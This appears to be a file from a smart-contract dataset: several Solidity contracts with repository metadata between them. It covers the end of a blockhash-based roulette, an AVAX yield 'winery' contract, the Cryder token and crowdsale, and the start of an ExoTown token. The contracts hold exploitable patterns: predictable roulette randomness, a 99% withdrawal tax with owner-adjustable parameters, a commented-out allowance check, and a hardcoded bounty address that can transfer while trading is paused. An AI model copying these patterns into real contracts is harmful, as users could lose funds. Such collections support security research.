if (msg.sender.send(msg.value) == false) throw;
return;
}
gambles.push(g);
address affiliate = 0;
uint16 coef_affiliate = 0;
if (address(smartAffiliateContract) > 0)
{
(affiliate, coef_affiliate) = smartAffiliateContract.getAffiliateInfo(msg.sender);
}
uint256 playerTokens = smartToken.emission(msg.sender, affiliate, msg.value, coef_player, coef_affiliate);
PlayerBet(gamblesLength, playerTokens);
}
function Invest() payable onlyDeveloper
{
}
function GetGameIndexesToProcess() public constant returns (uint256[64] gameIndexes)
{
uint8 index = 0;
for(int256 i = int256(gambles.length) - 1;i >= 0;i--)
{
GameInfo memory g = gambles[uint256(i)];
if (block.number - g.blockNumber >= 256) break;
if (g.wheelResult == 37 && block.number >= g.blockNumber + BlockDelay)
{
gameIndexes[index++] = uint256(i + 1);
}
}
}
uint256 lastBlockGamesProcessed;
function ProcessGames(uint256[] gameIndexes, bool simulate)
{
if (!simulate)
{
if (lastBlockGamesProcessed == block.number) return;
lastBlockGamesProcessed = block.number;
}
uint8 delay = BlockDelay;
uint256 length = gameIndexes.length;
bool success = false;
for(uint256 i = 0;i < length;i++)
{
if (ProcessGame(gameIndexes[i], delay) == GameStatus.Success) success = true;
}
if (simulate && !success) throw;
}
function ProcessGameExt(uint256 index) public returns (GameStatus)
{
return ProcessGame(index, BlockDelay);
}
function ProcessGame(uint256 index, uint256 delay) private returns (GameStatus)
{
GameInfo memory g = gambles[index];
if (block.number - g.blockNumber >= 256) return GameStatus.Stop;
if (g.wheelResult == 37 && block.number > g.blockNumber + delay)
{
gambles[index].wheelResult = getRandomNumber(g.player, g.blockNumber);
uint256 playerWinnings = getGameResult(uint64(index));
if (playerWinnings > 0)
{
if (g.player.send(playerWinnings) == false) throw;
}
EndGame(g.player, gambles[index].wheelResult, index);
return GameStatus.Success;
}
return GameStatus.Skipped;
}
function getRandomNumber(address player, uint256 playerblock) private returns(uint8 wheelResult)
{
bytes32 blockHash = block.blockhash(playerblock+BlockDelay);
if (blockHash==0)
{
ErrorLog(msg.sender, "Cannot generate random number");
wheelResult = 200;
}
else
{
bytes32 shaPlayer = sha3(player, blockHash);
wheelResult = uint8(uint256(shaPlayer)%37);
}
}
function calculateRandomNumberByBlockhash(uint256 blockHash, address player) public constant returns (uint8 wheelResult)
{
bytes32 shaPlayer = sha3(player, blockHash);
wheelResult = uint8(uint256(shaPlayer)%37);
}
function emergencyFixGameResult(uint64 gambleId, uint256 blockHash) onlyDeveloperOrOperator
{
// Probably this function will never be called, but
// if game was not spinned in 256 blocks then block.blockhash will returns always 0 and
GameInfo memory gamble = gambles[gambleId];
if (gamble.wheelResult != 200) throw;
gambles[gambleId].wheelResult = calculateRandomNumberByBlockhash(blockHash, gamble.player);
//gambles[gambleId].blockSpinned = block.number;
if (gamble.player.send(getGameResult(gambleId)) == false) throw;
EndGame(gamble.player, gamble.wheelResult, gambleId);
}
//
function checkGamesReadyForSpinning() constant returns (int256[256] ret)
{
uint16 index = 0;
for(int256 i = int256(gambles.length) - 1;i >= 0;i--)
{
GameInfo memory g = gambles[uint256(i)];
if (block.number - g.blockNumber >= 256) return ;
if (g.wheelResult == 37 && block.number > g.blockNumber + BlockDelay)
{
ret[index++] = i+1;
}
}
}
function preliminaryGameResult(uint64 gambleIndex) constant returns (uint64 gambleId, address player, uint256 blockNumber, uint256 totalWin, uint8 wheelResult, uint256 bets, uint256 values1, uint256 values2, uint256 nTotalBetValue, uint256 nTotalBetCount)
{
GameInfo memory g = gambles[uint256(gambleIndex)];
if (g.wheelResult == 37 && block.number > g.blockNumber + BlockDelay)
{
gambles[gambleIndex].wheelResult = getRandomNumber(g.player, g.blockNumber);
return getGame(gambleIndex);
}
throw;
}
function getGameResult(uint64 index) private constant returns (uint256 totalWin)
{
GameInfo memory game = gambles[index];
totalWin = 0;
uint8 nPlayerBetNo = 0;
// we sent count bets at last byte
uint8 betsCount = uint8(bytes32(game.bets)[0]);
for(uint8 i=0; i<maxTypeBets; i++)
{
if (isBitSet(game.bets, i))
{
var winMul = winMatrix.getCoeff(getIndex(i, game.wheelResult)); // get win coef
if (winMul > 0) winMul++; // + return player bet
totalWin += winMul * getBetValueByGamble(game, nPlayerBetNo+1);
nPlayerBetNo++;
if (betsCount == 1) break;
betsCount--;
}
}
}
function getGame(uint64 index) constant returns (uint64 gambleId, address player, uint256 blockNumber, uint256 totalWin, uint8 wheelResult, uint256 bets, uint256 values1, uint256 values2, uint256 nTotalBetValue, uint256 nTotalBetCount)
{
gambleId = index;
player = gambles[index].player;
totalWin = getGameResult(index);
blockNumber = gambles[index].blockNumber;
wheelResult = gambles[index].wheelResult;
nTotalBetValue = totalBetValue(gambles[index]);
nTotalBetCount = totalBetCount(gambles[index]);
bets = gambles[index].bets;
values1 = uint256(gambles[index].values);
values2 = uint256(gambles[index].values2);
}
function()
{
throw;
}
}
| 214,210 | 544 |
48d8fc2d6f18ef026b73f787c8c402234d1ff14b9ca4b3818c25c5ccd48d3612
| 16,736 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/27/27b9b20cf323e957fa6ee903e4145d7c344e5d17_RothschildWineryTest1.sol
| 4,508 | 14,707 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
contract RothschildWineryTest1 {
using SafeMath for uint256;
uint256 public EGGS_TO_HIRE_1MINERS = 1080000;
uint256 public REFERRAL = 50;
uint256 public PERCENTS_DIVIDER = 1000;
uint256 public TAX = 9;
uint256 public MARKET_EGGS_DIVISOR = 2;
uint256 public MIN_INVEST_LIMIT = 1 * 1e17;
uint256 public WALLET_DEPOSIT_LIMIT = 500 * 1e18;
uint256 public COMPOUND_BONUS = 10;
uint256 public COMPOUND_BONUS_MAX_TIMES = 7;
uint256 public COMPOUND_STEP = 48 * 60 * 60;
uint256 public WITHDRAWAL_TAX = 990;
uint256 public COMPOUND_FOR_NO_TAX_WITHDRAWAL = 14;
uint256 public totalStaked;
uint256 public totalDeposits;
uint256 public totalCompound;
uint256 public totalRefBonus;
uint256 public totalWithdrawn;
uint256 public marketEggs;
uint256 PSN = 10000;
uint256 PSNH = 5000;
bool public contractStarted;
uint256 public CUTOFF_STEP = 72 * 60 * 60;
uint256 public WITHDRAW_COOLDOWN = 4 * 60 * 60;
address public owner;
address payable public dev1;
address payable public dev2;
address payable public ruby1;
address payable public ruby2;
address payable public mkt;
struct User {
uint256 initialDeposit;
uint256 userDeposit;
uint256 miners;
uint256 claimedEggs;
uint256 lastHatch;
address referrer;
uint256 referralsCount;
uint256 referralEggRewards;
uint256 totalWithdrawn;
uint256 dailyCompoundBonus;
uint256 farmerCompoundCount; //added to monitor farmer consecutive compound without cap
uint256 lastWithdrawTime;
}
mapping(address => User) public users;
constructor(address payable _dev1, address payable _dev2, address payable _ruby1, address payable _ruby2, address payable _mkt) {
require(!isContract(_dev1) && !isContract(_dev2) && !isContract(_ruby1) && !isContract(_ruby2) && !isContract(_mkt));
owner = msg.sender;
dev1 = _dev1;
dev2 = _dev2;
ruby1 = _ruby1;
ruby2 = _ruby2;
mkt = _mkt;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function startFarm(address addr) public payable{
if (!contractStarted) {
if (msg.sender == owner) {
require(marketEggs == 0);
contractStarted = true;
marketEggs = 108000000000;
hireFarmers(addr);
} else revert("Contract not yet started.");
}
}
//fund contract with AVAX before launch.
function fundContract() external payable {}
function hireMoreFarmers(bool isCompound) public {
User storage user = users[msg.sender];
require(contractStarted, "Contract not yet Started.");
uint256 eggsUsed = getMyEggs();
uint256 eggsForCompound = eggsUsed;
if(isCompound) {
uint256 dailyCompoundBonus = getDailyCompoundBonus(msg.sender, eggsForCompound);
eggsForCompound = eggsForCompound.add(dailyCompoundBonus);
uint256 eggsUsedValue = calculateEggSell(eggsForCompound);
user.userDeposit = user.userDeposit.add(eggsUsedValue);
totalCompound = totalCompound.add(eggsUsedValue);
}
if(block.timestamp.sub(user.lastHatch) >= COMPOUND_STEP) {
if(user.dailyCompoundBonus < COMPOUND_BONUS_MAX_TIMES) {
user.dailyCompoundBonus = user.dailyCompoundBonus.add(1);
}
//add compoundCount for monitoring purposes.
user.farmerCompoundCount = user.farmerCompoundCount .add(1);
}
user.miners = user.miners.add(eggsForCompound.div(EGGS_TO_HIRE_1MINERS));
user.claimedEggs = 0;
user.lastHatch = block.timestamp;
marketEggs = marketEggs.add(eggsUsed.div(MARKET_EGGS_DIVISOR));
}
function sellCrops() public{
require(contractStarted, "Contract not yet Started.");
User storage user = users[msg.sender];
uint256 hasEggs = getMyEggs();
uint256 eggValue = calculateEggSell(hasEggs);
if(user.dailyCompoundBonus < COMPOUND_FOR_NO_TAX_WITHDRAWAL){
//daily compound bonus count will not reset and eggValue will be deducted with feedback tax.
eggValue = eggValue.sub(eggValue.mul(WITHDRAWAL_TAX).div(PERCENTS_DIVIDER));
}else{
//set daily compound bonus count to 0 and eggValue will remain without deductions
user.dailyCompoundBonus = 0;
user.farmerCompoundCount = 0;
}
user.lastWithdrawTime = block.timestamp;
user.claimedEggs = 0;
user.lastHatch = block.timestamp;
marketEggs = marketEggs.add(hasEggs.div(MARKET_EGGS_DIVISOR));
if(getBalance() < eggValue) {
eggValue = getBalance();
}
uint256 eggsPayout = eggValue.sub(payFees(eggValue));
payable(address(msg.sender)).transfer(eggsPayout);
user.totalWithdrawn = user.totalWithdrawn.add(eggsPayout);
totalWithdrawn = totalWithdrawn.add(eggsPayout);
}
function hireFarmers(address ref) public payable{
require(contractStarted, "Contract not yet Started.");
User storage user = users[msg.sender];
require(msg.value >= MIN_INVEST_LIMIT, "Mininum investment not met.");
require(user.initialDeposit.add(msg.value) <= WALLET_DEPOSIT_LIMIT, "Max deposit limit reached.");
uint256 eggsBought = calculateEggBuy(msg.value, address(this).balance.sub(msg.value));
user.userDeposit = user.userDeposit.add(msg.value);
user.initialDeposit = user.initialDeposit.add(msg.value);
user.claimedEggs = user.claimedEggs.add(eggsBought);
if (user.referrer == address(0)) {
if (ref != msg.sender) {
user.referrer = ref;
}
address upline1 = user.referrer;
if (upline1 != address(0)) {
users[upline1].referralsCount = users[upline1].referralsCount.add(1);
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
if (upline != address(0)) {
uint256 refRewards = msg.value.mul(REFERRAL).div(PERCENTS_DIVIDER);
payable(address(upline)).transfer(refRewards);
users[upline].referralEggRewards = users[upline].referralEggRewards.add(refRewards);
totalRefBonus = totalRefBonus.add(refRewards);
}
}
uint256 eggsPayout = payFees(msg.value);
totalStaked = totalStaked.add(msg.value.sub(eggsPayout));
totalDeposits = totalDeposits.add(1);
hireMoreFarmers(false);
}
function payFees(uint256 eggValue) internal returns(uint256){
uint256 tax = eggValue.mul(TAX).div(PERCENTS_DIVIDER);
dev1.transfer(tax);
dev2.transfer(tax);
ruby1.transfer(tax);
ruby2.transfer(tax);
mkt.transfer(tax);
return tax.mul(5);
}
function getDailyCompoundBonus(address _adr, uint256 amount) public view returns(uint256){
if(users[_adr].dailyCompoundBonus == 0) {
return 0;
} else {
uint256 totalBonus = users[_adr].dailyCompoundBonus.mul(COMPOUND_BONUS);
uint256 result = amount.mul(totalBonus).div(PERCENTS_DIVIDER);
return result;
}
}
function getUserInfo(address _adr) public view returns(uint256 _initialDeposit, uint256 _userDeposit, uint256 _miners,
uint256 _claimedEggs, uint256 _lastHatch, address _referrer, uint256 _referrals,
uint256 _totalWithdrawn, uint256 _referralEggRewards, uint256 _dailyCompoundBonus, uint256 _farmerCompoundCount, uint256 _lastWithdrawTime) {
_initialDeposit = users[_adr].initialDeposit;
_userDeposit = users[_adr].userDeposit;
_miners = users[_adr].miners;
_claimedEggs = users[_adr].claimedEggs;
_lastHatch = users[_adr].lastHatch;
_referrer = users[_adr].referrer;
_referrals = users[_adr].referralsCount;
_totalWithdrawn = users[_adr].totalWithdrawn;
_referralEggRewards = users[_adr].referralEggRewards;
_dailyCompoundBonus = users[_adr].dailyCompoundBonus;
_farmerCompoundCount = users[_adr].farmerCompoundCount;
_lastWithdrawTime = users[_adr].lastWithdrawTime;
}
function getBalance() public view returns(uint256){
return address(this).balance;
}
function getTimeStamp() public view returns (uint256) {
return block.timestamp;
}
function getAvailableEarnings(address _adr) public view returns(uint256) {
uint256 userEggs = users[_adr].claimedEggs.add(getEggsSinceLastHatch(_adr));
return calculateEggSell(userEggs);
}
function calculateTrade(uint256 rt,uint256 rs, uint256 bs) public view returns(uint256){
return SafeMath.div(SafeMath.mul(PSN, bs),
SafeMath.add(PSNH,
SafeMath.div(SafeMath.add(SafeMath.mul(PSN, rs),
SafeMath.mul(PSNH, rt)),
rt)));
}
function calculateEggSell(uint256 eggs) public view returns(uint256){
return calculateTrade(eggs, marketEggs, getBalance());
}
function calculateEggBuy(uint256 eth,uint256 contractBalance) public view returns(uint256){
return calculateTrade(eth, contractBalance, marketEggs);
}
function calculateEggBuySimple(uint256 eth) public view returns(uint256){
return calculateEggBuy(eth, getBalance());
}
function getEggsYield(uint256 amount) public view returns(uint256,uint256) {
uint256 eggsAmount = calculateEggBuy(amount , getBalance().add(amount).sub(amount));
uint256 miners = eggsAmount.div(EGGS_TO_HIRE_1MINERS);
uint256 day = 1 days;
uint256 eggsPerDay = day.mul(miners);
uint256 earningsPerDay = calculateEggSellForYield(eggsPerDay, amount);
return(miners, earningsPerDay);
}
function calculateEggSellForYield(uint256 eggs,uint256 amount) public view returns(uint256){
return calculateTrade(eggs,marketEggs, getBalance().add(amount));
}
function getSiteInfo() public view returns (uint256 _totalStaked, uint256 _totalDeposits, uint256 _totalCompound, uint256 _totalRefBonus) {
return (totalStaked, totalDeposits, totalCompound, totalRefBonus);
}
function getMyMiners() public view returns(uint256){
return users[msg.sender].miners;
}
function getMyEggs() public view returns(uint256){
return users[msg.sender].claimedEggs.add(getEggsSinceLastHatch(msg.sender));
}
function getEggsSinceLastHatch(address adr) public view returns(uint256){
uint256 secondsSinceLastHatch = block.timestamp.sub(users[adr].lastHatch);
uint256 cutoffTime = min(secondsSinceLastHatch, CUTOFF_STEP);
uint256 secondsPassed = min(EGGS_TO_HIRE_1MINERS, cutoffTime);
return secondsPassed.mul(users[adr].miners);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return a < b ? a : b;
}
function CHANGE_OWNERSHIP(address value) external {
require(msg.sender == owner, "Admin use only.");
owner = value;
}
// 2592000 - 3%, 2160000 - 4%, 1728000 - 5%, 1440000 - 6%, 1200000 - 7%
// 1080000 - 8%, 959000 - 9%, 864000 - 10%, 720000 - 12%
function PRC_EGGS_TO_HIRE_1MINERS(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value >= 479520 && value <= 720000);
EGGS_TO_HIRE_1MINERS = value;
}
function PRC_TAX(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value <= 15);
TAX = value;
}
function PRC_REFERRAL(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value >= 10 && value <= 100);
REFERRAL = value;
}
function PRC_MARKET_EGGS_DIVISOR(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value <= 50);
MARKET_EGGS_DIVISOR = value;
}
function SET_WITHDRAWAL_TAX(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value <= 900);
WITHDRAWAL_TAX = value;
}
function BONUS_DAILY_COMPOUND(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value >= 10 && value <= 900);
COMPOUND_BONUS = value;
}
function BONUS_DAILY_COMPOUND_BONUS_MAX_TIMES(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value <= 30);
COMPOUND_BONUS_MAX_TIMES = value;
}
function BONUS_COMPOUND_STEP(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value <= 24);
COMPOUND_STEP = value * 60 * 60;
}
function SET_INVEST_MIN(uint256 value) external {
require(msg.sender == owner, "Admin use only");
MIN_INVEST_LIMIT = value * 1e17;
}
function SET_CUTOFF_STEP(uint256 value) external {
require(msg.sender == owner, "Admin use only");
CUTOFF_STEP = value * 60 * 60;
}
function SET_WITHDRAW_COOLDOWN(uint256 value) external {
require(msg.sender == owner, "Admin use only");
require(value <= 24);
WITHDRAW_COOLDOWN = value * 60 * 60;
}
function SET_WALLET_DEPOSIT_LIMIT(uint256 value) external {
require(msg.sender == owner, "Admin use only");
require(value >= 10);
WALLET_DEPOSIT_LIMIT = value * 1 ether;
}
function SET_COMPOUND_FOR_NO_TAX_WITHDRAWAL(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value <= 12);
COMPOUND_FOR_NO_TAX_WITHDRAWAL = value;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
| 120,002 | 545 |
a251981398687e1a7afb848b88899192017a37567ea52fcc2574c3b009856fd4
| 17,660 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x75a17c63c2121447655955b55aaa1a413e750232.sol
| 2,778 | 9,513 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract CryderToken is StandardToken, Ownable, Pausable {
// Disable transfer unless explicitly enabled
function CryderToken() public { paused = true; }
// The address of the contract or user that is allowed to mint tokens.
address public minter;
uint public FREEZE_TIME = 1550682000;
address public bounty = 0xa258Eb1817aA122acBa4Af66A7A064AE6E10552A;
function setMinter(address _minter) public onlyOwner {
minter = _minter;
}
function mint(address _to, uint256 _amount) public returns (bool) {
require(msg.sender == minter);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(0x0, _to, _amount);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
// Check for paused with an exception of bounty manager and freeze team tokens for 1 year
require(msg.sender == bounty || (!paused && msg.sender != owner) || (!paused && msg.sender == owner && now > FREEZE_TIME));
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require((msg.sender == bounty && _from == bounty) || (!paused && msg.sender != owner && _from != owner) || (!paused && msg.sender == owner && now > FREEZE_TIME));
return super.transferFrom(_from, _to, _value);
}
string public constant name = "Cryder Token";
string public constant symbol = "CRYDER";
uint8 public constant decimals = 18;
}
contract CryderCrowdsale is Ownable {
// Use SafeMath library to provide methods for uint256-type vars.
using SafeMath for uint256;
// The hardcoded address of wallet
address public wallet;
// The address of presale token
CryderToken public presaleToken;
// The address of sale token
CryderToken public token;
// Bounty must be allocated only once
bool public isBountyAllocated = false;
// Requested tokens array
mapping(address => bool) tokenRequests;
uint public START_TIME = 1516467600;
uint public CLOSE_TIME = 1519146000;
uint256 public HARDCAP = 400000000000000000000000000;
uint256 public exchangeRate = 3000;
address public bounty = 0xa258Eb1817aA122acBa4Af66A7A064AE6E10552A;
function () payable public {
require(msg.sender == tx.origin);
buyTokens(msg.sender);
}
function withdraw() onlyOwner public {
wallet.transfer(this.balance);
}
function CryderCrowdsale(address _presaleToken, address _token, address _wallet) public {
presaleToken = CryderToken(_presaleToken);
token = CryderToken(_token);
wallet = _wallet;
}
event TokenPurchase(address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount);
function setTime(uint _start, uint _close) public onlyOwner {
require(_start < _close);
START_TIME = _start;
CLOSE_TIME = _close;
}
function setExchangeRate(uint256 _exchangeRate) public onlyOwner {
require(now < START_TIME);
exchangeRate = _exchangeRate;
}
function buyTokens(address beneficiary) payable public {
uint256 total = token.totalSupply();
uint256 amount = msg.value;
require(amount > 0);
// Check that hardcap not reached, and sale-time.
require(total < HARDCAP);
require(now >= START_TIME);
require(now < CLOSE_TIME);
// Override exchange rate for daily bonuses
if (now < START_TIME + 3600 * 24 * 1) {
exchangeRate = 3900;
} else if (now < START_TIME + 3600 * 24 * 3) {
exchangeRate = 3750;
} else if (now < START_TIME + 3600 * 24 * 5) {
exchangeRate = 3600;
} else {
exchangeRate = 3000;
}
// Mint tokens bought for all sent ether to beneficiary
uint256 tokens = amount.mul(exchangeRate);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, amount, tokens);
// Mint 8% tokens to wallet as a team part
uint256 teamTokens = tokens / 100 * 8;
token.mint(wallet, teamTokens);
// Finally, sent all the money to wallet
wallet.transfer(amount);
}
function allocateBounty() public returns (bool) {
// Check for bounty manager and allocation state
require(msg.sender == bounty && isBountyAllocated == false);
// Mint bounty tokens to bounty managers address
token.mint(bounty, 5000000000000000000000000);
isBountyAllocated = true;
return true;
}
function requestTokens() public returns (bool) {
require(presaleToken.balanceOf(msg.sender) > 0 && tokenRequests[msg.sender] == false);
token.mint(msg.sender, presaleToken.balanceOf(msg.sender));
tokenRequests[msg.sender] = true;
return true;
}
}
| 147,727 | 546 |
5b7509eae1c034341a686f6f2cc36eccfed2b22d0ff481c74efdcf31000bd86f
| 18,121 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0xf3eb09a1fd5a3e133a669074de1231d7a673744b.sol
| 4,654 | 17,312 |
pragma solidity ^0.4.11;
contract SafeMath {
function mul(uint a, uint b) constant internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) constant internal returns (uint) {
assert(b != 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) constant internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) constant internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
// Volume bonus calculation
function volumeBonus(uint etherValue) constant internal returns (uint) {
if(etherValue >= 500000000000000000000) return 10; // 500 ETH +10% tokens
if(etherValue >= 300000000000000000000) return 7; // 300 ETH +7% tokens
if(etherValue >= 100000000000000000000) return 5; // 100 ETH +5% tokens
if(etherValue >= 50000000000000000000) return 3; // 50 ETH +3% tokens
if(etherValue >= 20000000000000000000) return 2; // 20 ETH +2% tokens
if(etherValue >= 10000000000000000000) return 1; // 10 ETH +1% tokens
return 0;
}
}
/// Implements ERC 20 Token standard: https://github.com/ethereum/EIPs/issues/20
/// @title Abstract token contract - Functions to be implemented by token contracts.
contract AbstractToken {
function totalSupply() constant returns (uint) {}
function balanceOf(address owner) constant returns (uint balance);
function transfer(address to, uint value) returns (bool success);
function transferFrom(address from, address to, uint value) returns (bool success);
function approve(address spender, uint value) returns (bool success);
function allowance(address owner, address spender) constant returns (uint remaining);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
event Issuance(address indexed to, uint value);
}
contract IcoLimits {
uint constant privateSaleStart = 1511676000; // 11/26/2017 @ 06:00am (UTC)
uint constant privateSaleEnd = 1512172799; // 12/01/2017 @ 11:59pm (UTC)
uint constant presaleStart = 1512172800; // 12/02/2017 @ 12:00am (UTC)
uint constant presaleEnd = 1513987199; // 12/22/2017 @ 11:59pm (UTC)
uint constant publicSaleStart = 1516320000; // 01/19/2018 @ 12:00am (UTC)
uint constant publicSaleEnd = 1521158399; // 03/15/2018 @ 11:59pm (UTC)
uint constant foundersTokensUnlock = 1558310400; // 05/20/2019 @ 12:00am (UTC)
modifier afterPublicSale() {
require(now > publicSaleEnd);
_;
}
uint constant privateSalePrice = 4000; // SNEK tokens per 1 ETH
uint constant preSalePrice = 3000; // SNEK tokens per 1 ETH
uint constant publicSalePrice = 2000; // SNEK tokens per 1 ETH
uint constant privateSaleSupplyLimit = 600 * privateSalePrice * 1000000000000000000;
uint constant preSaleSupplyLimit = 1200 * preSalePrice * 1000000000000000000;
uint constant publicSaleSupplyLimit = 5000 * publicSalePrice * 1000000000000000000;
}
contract StandardToken is AbstractToken, IcoLimits {
mapping (address => uint) balances;
mapping (address => bool) ownerAppended;
mapping (address => mapping (address => uint)) allowed;
uint public totalSupply;
address[] public owners;
/// @dev Transfers sender's tokens to a given address. Returns success.
/// @param _to Address of token receiver.
/// @param _value Number of tokens to transfer.
function transfer(address _to, uint _value) afterPublicSale returns (bool success) {
if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value;
if(!ownerAppended[_to]) {
ownerAppended[_to] = true;
owners.push(_to);
}
Transfer(msg.sender, _to, _value);
return true;
}
else {
return false;
}
}
/// @dev Allows allowed third party to transfer tokens from one address to another. Returns success.
/// @param _from Address from where tokens are withdrawn.
/// @param _to Address to where tokens are sent.
/// @param _value Number of tokens to transfer.
function transferFrom(address _from, address _to, uint _value) afterPublicSale returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
if(!ownerAppended[_to]) {
ownerAppended[_to] = true;
owners.push(_to);
}
Transfer(_from, _to, _value);
return true;
}
else {
return false;
}
}
/// @dev Returns number of tokens owned by given address.
/// @param _owner Address of token owner.
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
/// @dev Sets approved amount of tokens for spender. Returns success.
/// @param _spender Address of allowed account.
/// @param _value Number of approved tokens.
function approve(address _spender, uint _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/// @dev Returns number of allowed tokens for given address.
/// @param _owner Address of token owner.
/// @param _spender Address of token spender.
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract ExoTownToken is StandardToken, SafeMath {
string public constant name = "ExoTown token";
string public constant symbol = "SNEK";
uint public constant decimals = 18;
address public icoContract = 0x0;
modifier onlyIcoContract() {
